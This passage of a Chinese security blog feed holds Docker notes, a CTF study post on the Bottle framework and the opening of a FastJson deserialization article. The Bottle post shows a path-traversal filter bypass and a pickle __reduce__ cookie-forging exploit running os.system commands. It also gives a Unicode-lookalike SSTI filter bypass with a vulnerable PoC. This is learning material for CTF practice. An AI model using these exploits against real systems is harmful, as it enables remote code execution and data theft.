[&quot;/usr/bin/wc&quot;,&quot;--help&quot;]</code></pre></li><li><p><strong>ENTRYPOINT</strong>：配置容器,使其可执行化</p><p>  配合<code>CMD</code>可省去<code>application</code>，只使用参数.</p><p>  格式:</p><pre><code class="dockerfile">ENTRYPOINT [&quot;executable&quot;, &quot;param1&quot;, &quot;param2&quot;] # 可执行文件ENTRYPOINT command param1 param2 # shell内部命令</code></pre><p>  示例:</p><pre><code class="dockerfile">FROM ubuntuENTRYPOINT [&quot;top&quot;, &quot;-b&quot;]CMD [&quot;-c&quot;]</code></pre><blockquote><p><code>ENTRYPOINT</code>与<code>CMD</code>非常类似，不同的是通过</p><pre><code class="shell">docker run</code></pre><p>执行的命令不会覆盖ENTRYPOINT(在启动容器后,CMD的参数是可以被以上命令覆盖的)，而</p><pre><code class="shell">docker run</code></pre><p>命令中指定的任何参数，都会被当做附加参数再次传递给ENTRYPOINT，除非加上<code>--entrypoint</code>参数明确指出要覆盖其参数.</p><p>Dockerfile中只允许有一个ENTRYPOINT命令，多指定时会覆盖前面的设置，而只执行最后的ENTRYPOINT指令.</p></blockquote></li><li><p><strong>LABEL</strong>：用于为镜像添加元数据</p><p>  格式：</p><pre><code class="dockerfile">LABEL &amp;lt;key&gt;=&amp;lt;value&gt; &amp;lt;key&gt;=&amp;lt;value&gt; &amp;lt;key&gt;=&amp;lt;value&gt; ...</code></pre><p>  示例:</p><pre><code class="dockerfile">LABEL version=&quot;1.0&quot; description=&quot;这是一个Web服务器&quot; by=&quot;IT笔录&quot;</code></pre><blockquote><p>使用LABEL指定元数据时，一条LABEL指定可以指定一或多条元数据，指定多条元数据时不同元数据之间通过空格分隔。推荐将所有的元数据通过一条LABEL指令指定，以免生成过多的中间镜像。  </p></blockquote></li><li><p><strong>ENV</strong>：设置环境变量</p><p>  格式：</p><pre><code class="dockerfile">ENV &amp;lt;key&gt; &amp;lt;value&gt;   #&amp;lt;key&gt;之后的所有内容均会被视为其&amp;lt;value&gt;的组成部分.因此，这样写一次只能设置一个变量ENV &amp;lt;key&gt;=&amp;lt;value&gt; ...  #可以设置多个变量，每个变量为一个&quot;&amp;lt;key&gt;=&amp;lt;value&gt;&quot;的键值对，如果&amp;lt;key&gt;中包含空格，可以使用\来进行转义，也可以通过&quot;&quot;来进行标示；另外，反斜线也可以用于续行</code></pre><p>  示例:</p><pre><code class="dockerfile">ENV myName John DoeENV myDog Rex The DogENV myCat=fluffy</code></pre></li><li><p><strong>EXPOSE</strong>:指定于外界交互的端口</p><p>  格式:</p><pre><code class="dockerfile">EXPOSE &amp;lt;port&gt; [&amp;lt;port&gt;...]</code></pre><p>  示例:</p><pre><code class="dockerfile">EXPOSE 80 443EXPOSE 8080EXPOSE 11211/tcp 11211/udp</code></pre><blockquote><p>EXPOSE并不会让容器的端口访问到主机。要使其可访问，需要在<code>docker run</code>运行容器时通过-p来发布这些端口:</p><pre><code class="shell">docker run -p 8080:80 nginx # 将容器的80端口映射到宿主机的8080端口</code></pre></blockquote></li><li><p><strong>VOLUME</strong>：用于指定持久化目录</p><p>  格式：</p><pre><code class="dockerfile">VOLUME [&quot;/path/to/dir&quot;]</code></pre><p>  示例:</p><pre><code class="dockerfile">VOLUME [&quot;/data&quot;]VOLUME [&quot;/var/www&quot;, &quot;/var/log/apache2&quot;, &quot;/etc/apache2&quot;</code></pre><blockquote><p>一个卷可以存在于一个或多个容器的指定目录，该目录可以绕过联合文件系统，并具有以下功能：</p><ul><li>卷可以容器间共享和重用</li><li>容器并不一定要和其它容器共享卷</li><li>修改卷后会立即生效</li><li>对卷的修改不会对镜像产生影响</li><li>卷会一直存在，直到没有任何容器在使用它</li></ul></blockquote><blockquote><p>在Docker中，持久化存储是指在容器重启或删除后，数据仍然存在的方法。Docker提供了多种持久化存储方式，主要包括<strong>Volumes</strong>、<strong>Bind Mounts</strong>和<strong>Tmpfs</strong></p></blockquote></li><li><p><strong>WORKDIR</strong>：设定工作目录</p><p>  格式：</p><pre><code class="dockerfile">WORKDIR /path/to/workdir</code></pre><p>  示例:</p><pre><code class="dockerfile">WORKDIR /a  (这时工作目录为/a)WORKDIR b  (这时工作目录为/a/b)WORKDIR c  (这时工作目录为/a/b/c)# 可知,多次使用该指令会叠加影响而非重置</code></pre><blockquote><p>通过WORKDIR设置工作目录后，Dockerfile中其后的命令RUN、CMD、ENTRYPOINT、ADD、COPY等命令都会在该目录下执行。在使用<code>docker run</code>运行容器时，可以通过-w参数覆盖构建时所设置的工作目录。</p></blockquote></li><li><p><strong>USER</strong>:指定运行容器时的用户</p><p>  可以指定用户名或UID，后续的RUN也会使用指定用户。使用USER指定用户时，可以使用用户名、UID或GID，或是两者的组合。当服务不需要管理员权限时，可以通过该命令指定运行用户。并且可以在之前创建所需要的用户</p><p>  格式：</p><pre><code class="dockerfile">USER userUSER user:groupUSER uidUSER uid:gidUSER user:gidUSER uid:group</code></pre><p>  示例:</p><pre><code class="dockerfile">USER www</code></pre><blockquote><p>使用USER指定用户后，Dockerfile中其后的命令RUN、CMD、ENTRYPOINT都将使用该用户。镜像构建完成后，通过<code>docker run</code>运行容器时，可以通过-u参数来覆盖所指定的用户。</p></blockquote></li><li><p><strong>ARG</strong>：用于指定传递给构建运行时的变量</p><p>  格式：</p><pre><code class="dockerfile">ARG &amp;lt;name&gt;[=&amp;lt;default value&gt;]</code></pre><p>  示例:</p><pre><code class="dockerfile">ARG siteARG build_user=www</code></pre></li><li><p><strong>ONBUILD</strong>：用于设置镜像触发器</p><p>  当所构建的镜像被用做其它镜像的基础镜像，该镜像中的触发器将会被触发</p><p>  格式:</p><pre><code class="dockerfile">ONBUILD [INSTRUCTION]</code></pre><p>  示例:</p><pre><code class="dockerfile">ONBUILD ADD . /app/srcONBUILD RUN /usr/local/bin/python-build --dir /app/src</code></pre></li></ul><blockquote><p>参考~&#x1F970;:</p><ul><li><a href="https://ruanyifeng.com/blog/2018/02/docker-tutorial.html">Docker入门教程</a></li><li><a href="https://blog.csdn.net/sinat_16643223/article/details/117258994">dockerfile文件使用方法</a></li><li><a href="https://blog.csdn.net/aiwangtingyun/article/details/123380626">[Docker]之删除多余的中间镜像</a></li></ul></blockquote>]]></content>
    
    
    <summary type="html">总结了一些docker的使用方法喵~</summary>
    
    
    
    <category term="笔记" scheme="https://101.43.94.206/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Tech" scheme="https://101.43.94.206/tags/Tech/"/>
    
  </entry>
  
  <entry>
    <title>bottle框架的一些特性</title>
    <link href="https://101.43.94.206/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/"/>
    <id>https://101.43.94.206/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/</id>
    <published>2025-04-12T13:18:44.000Z</published>
    <updated>2025-04-24T06:58:56.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="bottle框架的简介"><a href="#bottle框架的简介" class="headerlink" title="bottle框架的简介"></a>bottle框架的简介</h3><p>&emsp;&emsp;Bottle 是一个非常轻量级的 Python Web 框架，适合用于构建简单的 Web 应用和 RESTful API。Bottle 的最大特点之一是它的单文件设计，意味着你只需一个文件 bottle.py 即可使用整个框架，而不需要安装其他依赖。</p><p>最简示例：</p><pre><code class="python"># 导入本地的 bottle.py 文件from bottle import route, run# 定义路由及处理函数@route(&#39;/hello&#39;)def hello():    return &quot;Hello, World!&quot;# 启动应用run(host=&#39;localhost&#39;, port=8080)</code></pre><p>这样就能非常迅速的启动一个服务了。在大多语法上也和flask差不多，就不多讲了。</p><p>主要是讲三个点：</p><ul><li>框架模板的渲染机制</li><li>cookie处理机制</li><li>“斜体字”绕过的trick</li></ul><h3 id="框架模板的渲染机制"><a href="#框架模板的渲染机制" class="headerlink" title="框架模板的渲染机制"></a>框架模板的渲染机制</h3><blockquote><p>这里先简要的介绍语法,之后详述机制。</p></blockquote><p>默认模板语法使用语法符号为 <code>&lt;% %&gt; % &#123;&#123; &#125;&#125;</code></p><ul><li><code>&lt;% %&gt;</code>用来放置多行代码</li><li><code>%</code>用来放置单行代码</li><li><code>&#123;&#123; &#125;&#125;</code>用来放置变量</li></ul><p>&emsp;&emsp;和其他的模板一样，如果将一些用户输入直接渲染或者waf不到位(比如NCTF的ez_dash的非预期就是没有waf <code>%</code>)，将会引发ssti，这里不再赘叙。</p><h3 id="cookie处理机制"><a href="#cookie处理机制" class="headerlink" title="cookie处理机制"></a>cookie处理机制</h3><blockquote><p>本部分参考：<a href="https://www.ek1ng.com/SEKAICTF2022.html"><font color="#ff9f9f">SEKAICTF 2022 Web Writeup</font> by eking</a></p></blockquote><p>&emsp;&emsp;首先说结论，如果用bottle的get_cookie函数来解析cookie的话，是会触发pickle的反序列化的，后果就是有空可钻了。</p><p>源码如下：</p><pre><code class="python">def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):        &quot;&quot;&quot; Return the content of a cookie. To read a `Signed Cookie`, the            `secret` must match the one used to create the cookie (see            :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing            cookie or wrong signature), return a default value. &quot;&quot;&quot;        value = self.cookies.get(key)        if secret:            # See BaseResponse.set_cookie for details on signed cookies.            if value and value.startswith(&#39;!&#39;) and &#39;?&#39; in value:                sig, msg = map(tob, value[1:].split(&#39;?&#39;, 1))                hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()                if _lscmp(sig, base64.b64encode(hash)):                    dst = pickle.loads(base64.b64decode(msg))                    if dst and dst[0] == key:                        return dst[1]            return default        return value or default</code></pre><p>解析流程如下：</p><ul><li>首先得到cookies中的值</li><li>判断是否存在secret参数，也就是检验是否存在签名密钥。若不存在，直接返回值；若存在，则开始下一步</li><li>检验格式：以<code>!</code>开头并且其中包含<code>?</code>的cookie值才有效，否则直接返回deflaut。</li><li>将值拆分为签名<code>sig</code>和消息<code>msg</code>并使用<code>secret</code>对<code>msg</code>进行HMAC哈希计算（算法由<code>digestmod</code>指定，默认SHA256）。再使用<code>_lscmp</code>对比生成的哈希与Cookie中的签名，验证签名是否有效。</li><li>然后问题来了，如果验证通过，则直接对<code>msg</code>进行Base64解码并用<code>pickle</code>反序列化数据。不论后面如何，只要能到这一步，就能干些坏事了。</li></ul><p>这时候就该掏出XYCTF的题目来玩玩看了。给了源码：</p><pre><code class="python"># -*- encoding: utf-8 -*-&#39;&#39;&#39;@File    :   main.py@Time    :   2025/03/28 22:20:49@Author  :   LamentXU &#39;&#39;&#39;&#39;&#39;&#39;flag in /flag_&#123;uuid4&#125;&#39;&#39;&#39;from bottle import Bottle, request, response, redirect, static_file, run, routewith open(&#39;../../secret.txt&#39;, &#39;r&#39;) as f:    secret = f.read()app = Bottle()@route(&#39;/&#39;)def index():    return &#39;&#39;&#39;HI&#39;&#39;&#39;@route(&#39;/download&#39;)def download():    name = request.query.filename    if &#39;../../&#39; in name or name.startswith(&#39;/&#39;) or name.startswith(&#39;../&#39;) or &#39;\\&#39; in name:        response.status = 403        return &#39;Forbidden&#39;    with open(name, &#39;rb&#39;) as f:        data = f.read()    return data@route(&#39;/secret&#39;)def secret_page():    try:        session = request.get_cookie(&quot;name&quot;, secret=secret)        if not session or session[&quot;name&quot;] == &quot;guest&quot;:            session = &#123;&quot;name&quot;: &quot;guest&quot;&#125;            response.set_cookie(&quot;name&quot;, session, secret=secret)            return &#39;Forbidden!&#39;        if session[&quot;name&quot;] == &quot;admin&quot;:            return &#39;The secret has been deleted!&#39;    except:        return &quot;Error!&quot;run(host=&#39;0.0.0.0&#39;, port=8080, debug=False)</code></pre><p>可以发现存在一个secret.txt文件，但是有点小小的waf，这个waf非常好绕，详见以下复现：</p><img src="/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/1.png"><p>这样就可以拿到密钥，也就可以继续接下来的pickle反序列化利用了。下面用了eking学长的板子：</p><pre><code class="python"># cookie.pyfrom bottle import route, run,responseimport ossecret = &quot;Hell0_H@cker_Y0u_A3r_Sm@r7&quot;class exp():    def __reduce__(self):        cmd = &quot;ls&quot;        return (os.system, (cmd,))@route(&quot;/sign&quot;)def index():    try:        session = exp()        response.set_cookie(&quot;name&quot;, session, secret=secret)        return &quot;success&quot;    except:        return &quot;pls no hax&quot;if __name__ == &quot;__main__&quot;:    os.chdir(os.path.dirname(__file__))    run(host=&quot;0.0.0.0&quot;, port=8081)</code></pre><p>访问本地8081端口就能拿到恶意制造的cookies。先尝试一个calc(windows上起服务)：</p><img src="/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/2.png"><p>再尝试将flag中的内容转录自可以访问到的名称:</p><pre><code class="python">cmd = &quot;cat flag* &gt; flag&quot;# 方便起见，把flag放在了以上路径，在根目录时同理</code></pre><img src="/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/3.png"><blockquote><p>在复现时的一个要注意的地方：</p><p>在复现的时候发现linux起的服务会一直error，但是windows就不会。为了搞清楚问题所在，把main.py的try去掉使之报错，会报“No moudle named “nt”，众所周知nt是只有在windows中有的py库，那就很神奇了，bottle也没有调用，main也没有调用，怎么回事呢？</p><p>其实是因为得到恶意cookie需要起服务来拿cookie，而我是在win上起的，导致生成的cookie和linux上起服务是不一样的(大概python对于两个系统有做差分)。只要在linux上起cookie服务就能解决这个问题。或者考虑直接生成cookie而非利用服务来间接拿到cookie,前提是知道cookie生成的原理。</p></blockquote><h3 id="斜体字绕过的trick"><a href="#“斜体字”绕过的trick" class="headerlink" title="“斜体字”绕过的trick"></a>“斜体字”绕过的trick</h3><blockquote><p>本部分参考：<a href="https://www.cnblogs.com/LAMENTXU/articles/18805019">聊聊bottle框架中由斜体字引发的模板注入（SSTI）waf bypass </a></p></blockquote><h4 id="什么是斜体字"><a href="#什么是斜体字？" class="headerlink" title="什么是斜体字？"></a>什么是斜体字？</h4><p>&emsp;&emsp;这里的斜体字指的是“一个字符的斜体字符集”，主要指的是<code>Decomposition</code>后为同一个字符的字符集。即<a href="https://www.compart.com/en/unicode%E4%B8%AD%EF%BC%8C%E5%81%87%E8%AE%BE%E6%88%91%E4%BB%AC%E8%BE%93%E5%85%A5%60a%60%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%9C%8B%E5%88%B0%EF%BC%9A">https://www.compart.com/en/unicode中，假设我们输入`a`，可以看到：</a></p><img src="/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/4.png"><p>&emsp;&emsp;而在bottle框架里，这些斜体字也会直接被识别为其对应的原字符，下面给出一个POC：</p><pre><code class="python"># -*- encoding: utf-8 -*-&#39;&#39;&#39;@File    :   app.py@Time    :   2025/03/29 15:52:17@Author  :   LamentXU &#39;&#39;&#39;import bottle@bottle.route(&#39;/&#39;)def index():    return &#39;Hello, World!&#39;@bottle.route(&#39;/attack&#39;)def attack():    payload = bottle.request.query.get(&#39;payload&#39;)    print(payload)    return bottle.template(&#39;hello &#39;+payload)    else:        bottle.abort(400, &#39;Invalid payload&#39;)if __name__ == &#39;__main__&#39;:    bottle.run(host=&#39;0.0.0.0&#39;, port=5000)</code></pre><p>来做个简单的测试：</p><img src="/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/5.png"><p>&emsp;&emsp;可见，bottle的模板渲染会直接把%aa当成a，而且可以直接当成普通的a使用。那么为何能如此渲染？</p><h4 id="原理解析"><a href="#原理解析" class="headerlink" title="原理解析"></a>原理解析</h4><p>&emsp;&emsp;为什么斜体字没有被转换为其他字符，就可以被正常的运行呢？这就要聊到python的机制了。假如直接<code>exec()</code>任意code的话，python会把code中当作代码处理的斜体字根据<code>Decomposition</code>转成对应的ASCII字符（当作字符串处理的除外，它们仍会是原本的斜体字）。</p><h4 id="bottle的渲染机制"><a href="#bottle的渲染机制" class="headerlink" title="bottle的渲染机制"></a>bottle的渲染机制</h4><p>&emsp;&emsp;而传入模板中的斜体字能被渲染对应的非斜体字的前提是没有被处理为其他字符或者非法字符。研究源码的时候到了，来看看bottle的template方法怎么写的：</p><pre><code class="python">def template(*args, **kwargs):    &quot;&quot;&quot;    Get a rendered template as a string iterator.    You can use a name, a filename or a template string as first parameter.    Template rendering arguments can be passed as dictionaries    or directly (as keyword arguments).    &quot;&quot;&quot;    tpl = args[0] if args else None    for dictarg in args[1:]:        kwargs.update(dictarg)    adapter = kwargs.pop(&#39;template_adapter&#39;, SimpleTemplate)    lookup = kwargs.pop(&#39;template_lookup&#39;, TEMPLATE_PATH)    tplid = (id(lookup), tpl)    if tplid not in TEMPLATES or DEBUG:        settings = kwargs.pop(&#39;template_settings&#39;, &#123;&#125;)        if isinstance(tpl, adapter):            TEMPLATES[tplid] = tpl            if settings: TEMPLATES[tplid].prepare(**settings)        elif &quot;\n&quot; in tpl or &quot;&#123;&quot; in tpl or &quot;%&quot; in tpl or &#39;$&#39; in tpl:            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)        else:            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)    if not TEMPLATES[tplid]:        abort(500, &#39;Template (%s) not found&#39; % tpl)    return TEMPLATES[tplid].render(kwargs)</code></pre><p>&emsp;&emsp;当bottle在渲染模板时会先将标识符(<code>&#123;</code>,<code>%</code>,<code>$</code>)识别出来之后做一些整理（prepare之类），随后丢给SimpleTemplate类。使用render()作为渲染的入口函数：</p><pre><code class="python">def render(self, *args, **kwargs):     &quot;&quot;&quot; Render the template using keyword arguments as local variables. &quot;&quot;&quot;     env = &#123;&#125;     stdout = []     for dictarg in args:         env.update(dictarg)     env.update(kwargs)     self.execute(stdout, env)     return &#39;&#39;.join(stdout)</code></pre><p>&emsp;&emsp;将输入的变量update到env后，将env，stdout作为参数投入execute运行。接着看看execute怎么写的：</p><pre><code class="python">def execute(self, _stdout, kwargs):     env = self.defaults.copy()     env.update(kwargs)     env.update(&#123;         &#39;_stdout&#39;: _stdout,         &#39;_printlist&#39;: _stdout.extend,         &#39;include&#39;: functools.partial(self._include, env),         &#39;rebase&#39;: functools.partial(self._rebase, env),         &#39;_rebase&#39;: None,         &#39;_str&#39;: self._str,         &#39;_escape&#39;: self._escape,         &#39;get&#39;: env.get,         &#39;setdefault&#39;: env.setdefault,         &#39;defined&#39;: env.__contains__     &#125;)     exec(self.co, env)     if env.get(&#39;_rebase&#39;):         subtpl, rargs = env.pop(&#39;_rebase&#39;)         rargs[&#39;base&#39;] = &#39;&#39;.join(_stdout)  #copy stdout         del _stdout[:]  # clear stdout         return self._include(env, subtpl, **rargs)     return env</code></pre><p>&emsp;&emsp;这段代码先将kwargs(这里就是原来传入的env)更新到内部的env变量，再设定了一堆属性，最后然后将其作为全局命名空间执行self.co。这个self.co实质上是通过compile()函数编译而成的代码字节对象，可以通过exec直接执行，在这里它是这样实现的:</p><pre><code class="python">@cached_propertydef co(self):    return compile(self.code, self.filename or &#39;&lt;string&gt;&#39;, &#39;exec&#39;)</code></pre><p>&emsp;&emsp;编译了<code>self.code</code>，我们接着跟进：</p><pre><code class="python">@cached_propertydef code(self):    source = self.source  # 尝试获取已缓存的模板内容    if not source:        # 如果没有预先加载的模板内容        with open(self.filename, &#39;rb&#39;) as f:  # 以二进制模式打开模板文件            source = f.read()  # 读取原始字节内容    try:        source, encoding = touni(source), &#39;utf8&#39;  # 尝试转换为Unicode    except UnicodeError:        raise depr(0, 11, &#39;Unsupported template encodings.&#39;, &#39;Use utf-8 for templates.&#39;)    parser = StplParser(          # 创建模板语法解析器    source,                   # 统一后的Unicode文本    encoding=encoding,        # 编码标记（固定为utf8）    syntax=self.syntax        # 可选的语法变体设置    )    code = parser.translate()     # 生成可执行的Python代码    self.encoding = parser.encoding  # 保存实际检测到的编码    return code</code></pre><p>&emsp;&emsp;从这里不难看出source大概就是我们所输入到template函数中的内容了，他会首先尝试获取缓存的模板，若没有就会尝试将source视作文件来寻找模板。我们也可以在这里放一个print来看看到底是不是，这里就不演示了，原博主那里是有演示的。</p><p>这里还有个touni对source做了处理，来看看它是干什么的：</p><pre><code class="python">def touni(s, enc=&#39;utf8&#39;, err=&#39;strict&#39;):    if isinstance(s, bytes):        return s.decode(enc, err)    return unicode(&quot;&quot; if s is None else s)</code></pre><p>&emsp;&emsp;即如果source是字节类型则对其解码，如果不是，则将source变为unicode类型，这里的unicode类型其实就是str：</p><pre><code class="python">unicode = str</code></pre><p>&emsp;&emsp;好，这边就没什么东西了。回到code的定义，之后将source作为参数传给StplParser进行实例化，StplParser是bottle的模板语法解释器，同时规定了编码形式。然后调用translate方法来将字符串转化为代码形式，来看看它的实现：</p><pre><code class="python">def translate(self):    if self.offset: raise RuntimeError(&#39;Parser is a one time instance.&#39;)    while True:        m = self.re_split.search(self.source, pos=self.offset)        if m:            text = self.source[self.offset:m.start()]            self.text_buffer.append(text)            self.offset = m.end()            if m.group(1):  # Escape syntax                line, sep, _ = self.source[self.offset:].partition(&#39;\n&#39;)                self.text_buffer.append(self.source[m.start():m.start(1)] +                                        m.group(2) + line + sep)                self.offset += len(line + sep)                continue            self.flush_text()            self.offset += self.read_code(self.source[self.offset:],                                          multiline=bool(m.group(4)))        else:            break    self.text_buffer.append(self.source[self.offset:])    self.flush_text()    return &#39;&#39;.join(self.code_buffer)</code></pre><p>&emsp;&emsp;这里关注<code>self.flush_text()</code>：</p><pre><code class="python">def flush_text(self):    text = &#39;&#39;.join(self.text_buffer)    del self.text_buffer[:]    if not text: return    parts, pos, nl = [], 0, &#39;\\\n&#39; + &#39;  &#39; * self.indent    for m in self.re_inl.finditer(text):        prefix, pos = text[pos:m.start()], m.end()        if prefix:            parts.append(nl.join(map(repr, prefix.splitlines(True))))        if prefix.endswith(&#39;\n&#39;): parts[-1] += nl        parts.append(self.process_inline(m.group(1).strip()))    if pos &lt; len(text):        prefix = text[pos:]        lines = prefix.splitlines(True)        if lines[-1].endswith(&#39;\\\\\n&#39;): lines[-1] = lines[-1][:-3]        elif lines[-1].endswith(&#39;\\\\\r\n&#39;): lines[-1] = lines[-1][:-4]        parts.append(nl.join(map(repr, lines)))    code = &#39;_printlist((%s,))&#39; % &#39;, &#39;.join(parts)    self.lineno += code.count(&#39;\n&#39;) + 1    self.write_code(code)</code></pre><p>&emsp;&emsp;他会把我们的代码块规范化了一下。并调用了一些exec全局空间里的内置函数（比如<code>_printlist</code>）假设我们的模板是<code>hello &#123;&#123;hello world&#125;&#125;</code>，经过<code>translate()</code>后变为：</p><pre><code class="lisp">_printlist((&#39;hello &#39;, _escape(hello world),))</code></pre><p>这个_printlist就是在exec执行的全局空间里的打印函数。我们回顾一下：</p><pre><code class="python">env.update(&#123;    &#39;_stdout&#39;: _stdout,    &#39;_printlist&#39;: _stdout.extend,    &#39;include&#39;: functools.partial(self._include, env),    &#39;rebase&#39;: functools.partial(self._rebase, env),    &#39;_rebase&#39;: None,    &#39;_str&#39;: self._str,    &#39;_escape&#39;: self._escape,    &#39;get&#39;: env.get,    &#39;setdefault&#39;: env.setdefault,    &#39;defined&#39;: env.__contains__&#125;)</code></pre><p>&emsp;&emsp;可以看到<code>&#39;_printlist&#39;: _stdout.extend,</code>，好的，我们了解了<code>translate()</code>的大致用途了。我们接下来来看<code>flush_text()</code>，存在如下代码：</p><pre><code class="scss">parts.append(self.process_inline(m.group(1).strip()))</code></pre><p>每一行模板都会经过一次<code>self.process_inline()</code>，跟进：</p><pre><code class="kotlin">@staticmethoddef process_inline(chunk):    if chunk[0] == &#39;!&#39;: return &#39;_str(%s)&#39; % chunk[1:]    return &#39;_escape(%s)&#39; % chunk</code></pre><p>&emsp;&emsp;终于，出现了与转码有关的<code>_escape</code>函数。我们对照刚才回顾的exec执行的全局空间。我们看到：<code>&#39;_escape&#39;: self._escape,</code>。我们去找SimpleTemplate类的<code>self._escape</code>看看。还记得每一次进入SimpleTemplate都有一次初始化吗，就是<code>prepare</code>函数这些，我们来看：</p><pre><code class="python">def prepare(self,            escape_func=html_escape,            noescape=False,            syntax=None, **ka):    self.cache = &#123;&#125;    enc = self.encoding    self._str = lambda x: touni(x, enc)    self._escape = lambda x: escape_func(touni(x, enc))    self.syntax = syntax    if noescape:        self._str, self._escape = self._escape, self._str</code></pre><p>&emsp;&emsp;可以看到初始化了<code>self._escape = lambda x: escape_func(touni(x, enc))</code></p><p>，来看<code>escape_func()</code>。</p><pre><code class="ini">escape_func=html_escape,</code></pre><p>&emsp;&emsp;看定义在全局空间的<code>html_escape()</code>：</p><pre><code class="python">def html_escape(string):    &quot;&quot;&quot; Escape HTML special characters ``&amp;&lt;&gt;`` and quotes ``&#39;&quot;``. &quot;&quot;&quot;    return string.replace(&#39;&amp;&#39;, &#39;&amp;amp;&#39;).replace(&#39;&lt;&#39;, &#39;&amp;lt;&#39;).replace(&#39;&gt;&#39;, &#39;&amp;gt;&#39;)\                 .replace(&#39;&quot;&#39;, &#39;&amp;quot;&#39;).replace(&quot;&#39;&quot;, &#39;&amp;#039;&#39;)</code></pre><p>将一些可能在XSS用到的字符进行转码，就是一个防止XSS的HTML编码函数。</p><p>&emsp;&emsp;至此我们得出结论：<strong>我们的输入，不论在不在<code>&#123;&#123;&#125;&#125;</code>里，经过唯一的编码检查就是对source的<code>touni()</code>，但是由于全局变量中的unicode在python3下是全体str，这就导致了我们可以输入斜体字符</strong>，它们仍然会被当作其对应的非斜体字符处理。</p><h4 id="利用限制"><a href="#利用限制" class="headerlink" title="利用限制"></a>利用限制</h4><p>&emsp;&emsp;由于这些斜体字没法直接以原文的形式进行网络传输，所以在传输的时候是必定要进行url编码的。</p><blockquote><p>刚开始看到这篇文章时想的是，用burp或者apifox直接发明文能否解决这个问题呢？事实上也是不行的，因为传过去解析的时候由于没有编码会直接乱码(</p><img src="/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/6.png"><img src="/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/7.png"></blockquote><p>&emsp;&emsp;所以现在能这么利用的也就只有<code>a</code>可以用<code>%aa</code>来代替，<code>o</code>可以用<code>%ba</code>来代替，使用范围比较狭窄。当然，如果可以通过上传文件等形式上传pl的话，就完全没有这个问题了。</p>]]></content>
    
    
    <summary type="html">总结了一些bottle框架的特性喵~</summary>
    
    
    
    <category term="笔记" scheme="https://101.43.94.206/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="CTF" scheme="https://101.43.94.206/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>FastJson反序列化</title>
    <link href="https://101.43.94.206/2025/03/19/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    <id>https://101.43.94.206/2025/03/19/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</id>
    <published>2025-03-19T14:48:41.000Z</published>
    <updated>2025-04-18T11:12:52.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>本文抄录自<a href="https://tech.ec3o.fun/2025/03/11/Web-Vulnerability Reproduction/FastJson 漏洞复现/">FastJson反序列化漏洞复现</a>，有一些补充知识和解释。原文是Ec3o学长的文章，超级好懂❀</p></blockquote><blockquote><p>在本文章之前，强烈建议优先学习JNDI，JDBC的相关知识。</p></blockquote><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>&emsp;&emsp;<code>Fastjson</code>是阿里巴巴的开源 <code>JSON</code> 解析库，它可以解析 <code>JSON</code> 格式的字符串，支持将 <code>Java Object</code>序列化为 <code>JSON</code> 字符串，也可以从 <code>JSON</code> 字符串反序列化到 <code>Java Object</code>.</p><p>&emsp;&emsp;<code>Fastjson</code> 提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。</p><ul><li><strong>JSON.toJSONString</strong>：序列化</li><li><strong>JSON.parseObject&#x2F;JSON.parse</strong>：反序列化</li></ul><p>&emsp;&emsp;对于Fastjson来讲，并不是所有的Java对象都能被转为JSON，只有Java Bean格式的对象才能Fastjson被转为JSON。</p><h4 id="什么是javabean"><a href="#什么是JavaBean？" class="headerlink" title="什么是JavaBean？"></a>什么是JavaBean？</h4><p>&emsp;&emsp;<strong>JavaBean</strong>是一种特殊的 Java 类，它符合一组标准的命名和设计规则，旨在便于使用和集成在各种 Java 应用程序中，尤其是在图形化界面构建工具和框架中。JavaBean 最常用于**数据传输对象 (DTO)**，通常作为简单的容器类，用于封装和传递数据。</p><p>&emsp;&emsp;一般来说我们的Java Bean要有一个无参构造函数和一些私有的成员变量，附加一些公共的<code>getter</code>和<code>setter</code>方法来访问这些属性，也可以附带一些以<code>isType</code>设计的bool属性方法。</p><p>&emsp;&emsp;Serializable接口可选，用于实现反序列化.这样的一个Java Bean常常用于数据封装使用。</p><pre><code class="java">import java.io.Serializable;public class User implements Serializable &#123;    private String name;    private int age;    // 无参构造器    public User() &#123;&#125;    // 带参构造器    public User(String name, int age) &#123;        this.name = name;        this.age = age;    &#125;    // Getter方法    public String getName() &#123;        return name;    &#125;    // Setter方法    public void setName(String name) &#123;        this.name = name;    &#125;    // Getter方法    public int getAge() &#123;        return age;    &#125;    // Setter方法    public void setAge(int age) &#123;        this.age = age;    &#125;    @Override    public String toString() &#123;        return &quot;User&#123;name=&#39;&quot; + name + &quot;&#39;, 